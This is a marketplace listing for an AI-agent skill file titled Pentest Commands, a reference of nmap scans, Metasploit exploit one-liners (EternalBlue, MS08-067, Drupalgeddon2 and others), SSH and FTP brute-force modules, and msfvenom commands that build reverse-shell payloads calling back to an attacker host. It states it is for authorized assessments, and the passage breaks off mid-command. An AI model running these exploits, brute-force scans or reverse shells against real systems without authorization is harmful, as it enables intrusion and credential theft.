Skip to content
LiveNew tools this week
Submit
AIMarketly
pentest-commands logo

Pentest Commands

pentest-commands

Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during sec

ranbot-ai/awesome-skills0installs6starsSecurity

SKILL.md

Full skill instructions

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

Pentest Commands

Purpose

Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.

Inputs/​Prerequisites

  • Kali Linux or penetration testing distribution
  • Target IP addresses with authorization
  • Wordlists for brute forcing
  • Network access to target systems
  • Basic understanding of tool syntax

Outputs/​Deliverables

  • Network enumeration results
  • Identified vulnerabilities
  • Exploitation payloads
  • Cracked credentials
  • Web vulnerability findings

Core Workflow

1. Nmap Commands

Host Discovery:

# Ping sweep
nmap -sP 192.168.1.0/​24

# List IPs without scanning
nmap -sL 192.168.1.0/​24

# Ping scan (host discovery)
nmap -sn 192.168.1.0/​24

Port Scanning:

# TCP SYN scan (stealth)
nmap -sS 192.168.1.1

# Full TCP connect scan
nmap -sT 192.168.1.1

# UDP scan
nmap -sU 192.168.1.1

# All ports (1-65535)
nmap -p- 192.168.1.1

# Specific ports
nmap -p 22,80,443 192.168.1.1

Service Detection:

# Service versions
nmap -sV 192.168.1.1

# OS detection
nmap -O 192.168.1.1

# Comprehensive scan
nmap -A 192.168.1.1

# Skip host discovery
nmap -Pn 192.168.1.1

NSE Scripts:

# Vulnerability scan
nmap --script vuln 192.168.1.1

# SMB enumeration
nmap --script smb-enum-shares -p 445 192.168.1.1

# HTTP enumeration
nmap --script http-enum -p 80 192.168.1.1

# Check EternalBlue
nmap --script smb-vuln-ms17-010 192.168.1.1

# Check MS08-067
nmap --script smb-vuln-ms08-067 192.168.1.1

# SSH brute force
nmap --script ssh-brute -p 22 192.168.1.1

# FTP anonymous
nmap --script ftp-anon 192.168.1.1

# DNS brute force
nmap --script dns-brute 192.168.1.1

# HTTP methods
nmap -p80 --script http-methods 192.168.1.1

# HTTP headers
nmap -p80 --script http-headers 192.168.1.1

# SQL injection check
nmap --script http-sql-injection -p 80 192.168.1.1

Advanced Scans:

# Xmas scan
nmap -sX 192.168.1.1

# ACK scan (firewall detection)
nmap -sA 192.168.1.1

# Window scan
nmap -sW 192.168.1.1

# Traceroute
nmap --traceroute 192.168.1.1

2. Metasploit Commands

Basic Usage:

# Launch Metasploit
msfconsole

# Search for exploits
search type:exploit name:smb

# Use exploit
use exploit/​windows/​smb/​ms17_010_eternalblue

# Show options
show options

# Set target
set RHOST 192.168.1.1

# Set payload
set PAYLOAD windows/​meterpreter/​reverse_tcp

# Run exploit
exploit

Common Exploits:

# EternalBlue
msfconsole -x "use exploit/​windows/​smb/​ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"

# MS08-067 (Conficker)
msfconsole -x "use exploit/​windows/​smb/​ms08_067_netapi; set RHOST 192.168.1.1; exploit"

# vsftpd backdoor
msfconsole -x "use exploit/​unix/​ftp/​vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"

# Shellshock
msfconsole -x "use exploit/​linux/​http/​apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"

# Drupalgeddon2
msfconsole -x "use exploit/​unix/​webapp/​drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"

# PSExec
msfconsole -x "use exploit/​windows/​smb/​psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"

Scanners:

# TCP port scan
msfconsole -x "use auxiliary/​scanner/​portscan/​tcp; set RHOSTS 192.168.1.0/​24; run"

# SMB version scan
msfconsole -x "use auxiliary/​scanner/​smb/​smb_version; set RHOSTS 192.168.1.0/​24; run"

# SMB share enumeration
msfconsole -x "use auxiliary/​scanner/​smb/​smb_enumshares; set RHOSTS 192.168.1.0/​24; run"

# SSH brute force
msfconsole -x "use auxiliary/​scanner/​ssh/​ssh_login; set RHOSTS 192.168.1.0/​24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"

# FTP brute force
msfconsole -x "use auxiliary/​scanner/​ftp/​ftp_login; set RHOSTS 192.168.1.0/​24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"

# RDP scanning
msfconsole -x "use auxiliary/​scanner/​rdp/​rdp_scanner; set RHOSTS 192.168.1.0/​24; run"

Handler Setup:

# Multi-handler for reverse shells
msfconsole -x "use exploit/​multi/​handler; set PAYLOAD windows/​meterpreter/​reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"

Payload Generation (msfvenom):

# Windows reverse shell
msfvenom -p windows/​meterpreter/​reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe

# Linux reverse shell
msfvenom -p linux/​x64/​shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf

# PHP reverse shell
msfvenom -p php/​reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php

# ASP reverse shell
msfvenom -p windows/​shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp

# WAR file
msfvenom -p java/​jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war

# Python payload
msfvenom -p cmd/​unix/​reverse_python LH